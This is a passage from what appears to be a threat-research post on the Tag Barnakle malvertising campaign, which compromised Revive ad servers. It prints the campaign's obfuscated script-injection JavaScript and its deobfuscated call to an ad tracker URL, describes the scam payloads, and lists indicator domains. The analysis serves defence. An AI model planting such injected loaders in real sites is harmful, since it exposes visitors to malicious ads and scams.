_0xaefdd9=0x0;_0xaefdd9&lt;0x100;_0xaefdd9++){_0x40b1c0[_0xaefdd9]=_0xaefdd9;}for(_0xaefdd9=0x0;_0xaefdd9&lt;0x100;_0xaefdd9++){_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9]+_0x4ed28f[&#8221;charCodeAt&#8221;](_0xaefdd9%_0x4ed28f[_0x3a54(&#8221;0x2&#8221;)]))%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f;}_0xaefdd9=0x0,_0xfa98e6=0x0;for(var _0x2bdf25=0x0;_0x2bdf25&lt;_0x2df7f1[_0x3a54(&#8221;0x2&#8221;)];_0x2bdf25++){_0xaefdd9=(_0xaefdd9+0x1)%0x100,_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9])%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f,_0x4daddb+=String[_0x3a54(&#8221;0x0&#8221;)](_0x2df7f1[_0x3a54(&#8221;0x3&#8221;)](_0x2bdf25)^_0x40b1c0[(_0x40b1c0[_0xaefdd9]+_0x40b1c0[_0xfa98e6])%0x100]);}return _0x4daddb;}function fCp5tRneHK(_0x2deb18){var _0x3d61b2=&#8221;&#8220;;try{_0x3d61b2=window[_0x3a54(&#8221;0x1&#8221;)](_0x2deb18);}catch(_0x4b0a86){}return _0x3d61b2;};var qIxFjKSY6BVD = [&#8221;Bm2CdEOGUagaqnegJWgXyDAnxs1BSQNre5yS6AKl2Hb2j0+gF6iL1n4VxdNf+D0/&#8221;,&#8221;DWuTZUTZO+sQsXe8Ng==&#8221;,&#8221;j6nfa3m&#8221;,&#8221;Y0d83rLB&#8221;,&#8221;Y0F69rbB65Ug6d9y&#8221;,&#8221;gYTeJruwFuW&#8221;,&#8221;n3j6Vw==&#8221;,&#8221;n2TyRkwJoyYulkipRrYr&#8221;,&#8221;dFCGtizS&#8221;,&#8221;yPnc&#8221;,&#8221;2vvPcUEpsBZhStE=&#8221;,&#8221;gfDZYmHUEBxRWrw4M&#8221;];var aBdDGL0KZhomY5Zl = document[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[1]), qIxFjKSY6BVD[2])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[3]), qIxFjKSY6BVD[5]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[6]), qIxFjKSY6BVD[8]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[7]), qIxFjKSY6BVD[8]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[9]), qIxFjKSY6BVD[11]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[0]), qIxFjKSY6BVD[2]));var bundle = document.body||document.documentElement;bundle[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[10]), qIxFjKSY6BVD[11])](aBdDGL0KZhomY5Zl);</code></pre><p>If we de-obfuscate, we see the familiar call to Propeller Ads:</p><pre><code>var aBdDGL0KZhomY5Zl = document[&#8221;createElement&#8221;](&#8221;script&#8221;);
aBdDGL0KZhomY5Zl[&#8221;setAtrribute&#8221;](&#8221;text/javascript&#8221;);
aBdDGL0KZhomY5Zl[&#8221;setAtrribute&#8221;](&#8221;src&#8221;, &#8220;https://overgalladean[.]com/apu.php?zoneid=2721667&#8221;);</code></pre><h3><strong>The Payload</strong></h3><p>We replayed the Propeller Ads click tracker on the kind of devices Tag Barnakle are targeting in order to get an idea of the campaigns that victims are being exposed to.</p><p>These scams should look very familiar to anyone who has been exposed to malvertising in the past.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_VfB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_VfB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_VfB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png" width="1170" height="2532" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2532,&quot;width&quot;:1170,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!_VfB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!_VfB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761094a6-e7b3-4c80-b2ed-f982e5e7fbfd_1170x2532.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!agUX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!agUX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!agUX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!agUX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!agUX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!agUX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png" width="1170" height="2532" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2532,&quot;width&quot;:1170,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!agUX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!agUX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!agUX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!agUX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03353b8e-42d6-4e58-816e-5c504bed2487_1170x2532.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hWEZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hWEZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hWEZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png" width="1170" height="2532" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2532,&quot;width&quot;:1170,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hWEZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 424w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 848w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 1272w, https://substackcdn.com/image/fetch/$s_!hWEZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60acf7d1-d9ba-4f14-82e2-a8fb12e90e7d_1170x2532.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Most of these campaigns are going to lure the victim to the app store listing for obscure Security / Safety / VPN apps that are loaded with hidden subscription costs or siphon off traffic for nefarious ends.</p><h3><strong>Impact &amp; Reach</strong></h3><p>It&#8217;s incredibly difficult to calculate the full reach of Tag Barnakle&#8217;s malvertisements. The compromises seem to impact some moderately trafficked publishers and plenty of long-tail websites, however the list includes a sizable amount of ad platforms and media companies that have built their technical stack on Revive.</p><p>If we consider that some of these media companies have RTB integrations with leading programmatic advertising platforms, Tag Barnakle&#8217;s reach is easily in the tens if not hundreds of millions of devices. This is a <em>conservative</em> estimate that takes into consideration the fact that they cookie their victims in order to reveal the payload with low frequency, likely to slow down detection of their presence.</p><h3><strong>IOCs &#8212; Compromised Revive Adservers (April 2020 &#8212; April 2021)</strong></h3><pre><code>ads.a2epub.com
ads.fakulteti.mk
ads.latinongroup.com
ads.mygc.com.au
ads.performanceracing.com
ads.tcsemotion.com
ads.veterinaren.nu
ads2.focus-news.net
asianmedia.com
engagement.sandesh.com
england365.gr
mtrck.info
p.posventa.info
ac24horas.com
ad.aniu.tv
ad.investmap.pl
ad.mds.lv
ad.zfk.de
admanager.uptodown.com
ads.4x4brasil.com.br
ads.adsolut.in
ads.baotainguyenmoitruong.vn
ads.catmedia.cat
ads.citymagazine.rs
ads.ck101.com
ads.d3corp.com
ads.diariodehuelva.es
ads.directa.cat
ads.easyodds.com
ads.ejz.de
ads.elperiodic.ad
ads.eltemps.cat
ads.femmexpat.net
ads.gogovest.com
ads.inselradio.com
ads.kafepauza.mk
ads.khoahocdoisong.vn
ads.motorgraph.com
ads.newsbook.com.mt
ads.press24.mk
ads.republica.com.uy
ads.samartdigitalmedia.com
ads.shasha.ps
ads.tirabol.cat
ads.tuniscope.com
ads.tvh.no
ads.uh.ro
ads.urgente24.com
ads.warrelics.eu
ads.zilesinopti.ro
ads1.knxs.net
ads2.epsilonnet.gr
ads2.jenite.bg
ads5.matichon.co.th
adserv.emh.ch
adserver.automobilwoche.de
adserver.desnivel.com
adserver.diariodosertao.com.br
adserver.greeners.co
adserver.krankenkassennetz.de
adserver.lasiciliaweb.it
adserver.lenouvelliste.com
adserver.logisticaprofesional.com
adserver.maispb.com.br
adserver.nearby.cz
adserver.polemicaparaiba.com.br
adserver.wolterskluwer.pl
adserverhd.com
adstdg.net
adv2.grupopreferente.com
adx.ephoto.sk
artduomo.es
asap.sindikata.org
ba1.groupgti.com
banner.bauernverlag.de
banners.evoluhcion.es
comercial.megafin.pt
d.otaserve.net
ittnads.advantagegroup.ie
kampane.virtualstudio.sk
lakewoodmediagroup.net
leadz01.isn.nl
miranda.bounced.de
murciaeconomia.folioserver.com
ngex.com
openx.jawharafm.net
openx.mediatrust.de
openx.mondiale.co.uk
ox.ghanasoccernet.com
pub.macommune.info
pub.naiz.eus
pubs2.latinspots.com
reklama.silnet.pl
rev.contractoruk.com
revive.agenda.ge
revive.bdnews24.com
revive.saechsische-schweiz.de
revive.theaterkrant.nl
revive.thebusinessjournal.com
revive.unizo.be
row.volksstimme.de
sbplus.hr
services.albiladpress.com
skyrisecities.com
ssp.putaojiu.com
theleader.info
treehouse.wwoz.org
urbantoronto.ca
visualise.click
wer.schwarzwaelder-bote.de
www.4x4brasil.com.br
www.actuabd.com
www.bioverlag-online.de
www.drumcorpsplanet.com
www.ecofinads.com
www.manga-news.com
www.miciudadreal.es
www.pivata.net
www.porovname.cz
www.rcommunications.com
www.styledrops.hu
www.webkamery-krkonose.cz
www3.convergenciadigital.com.br</code></pre><h3><strong>IOCs &#8212; Tag Barnakle Fingerprinting Domains</strong></h3><pre><code>tucanastar.com
topwindstar.com
line2lime.com
adbigline.network
reticulumlyn.com
bibugal.network
hoshiwa.com
wetral.com
galikos.com</code></pre>]]></content:encoded></item></channel></rss>